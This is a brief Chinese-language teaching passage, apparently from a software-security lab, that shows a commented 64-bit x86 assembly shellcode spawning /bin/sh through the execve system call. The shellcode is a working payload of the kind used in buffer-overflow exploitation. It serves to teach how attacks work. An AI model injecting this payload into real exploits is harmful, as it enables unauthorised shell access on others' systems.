章节大纲

  • 我们提供了一个示例的 64 位 shellcode,如下所示。它与 32 位 shellcode 非常相似,只是寄存器名称不同以及 execve() 系统调用所使用的寄存器也不同。我们在注释中进行了部分解释,并未提供详细的 shellcode 解释。
     
    xor  rdx, rdx        ; rdx = 0: execve()'s 第三个参数
    push rdx
    mov  rax, '/bin//sh' ; 要运行的命令
    push rax             ;
    mov  rdi, rsp        ; rdi --> "/bin//sh": execve()'s 第一个参数 
    push rdx             ; argv[1] = 0
    push rdi             ; argv[0] --> "/bin//sh"
    mov  rsi, rsp        ; rsi --> argv[]: execve()'s 第二个参数
    xor  rax, rax
    mov  al,  0x3b       ; execve()'s 系统调用号
    syscall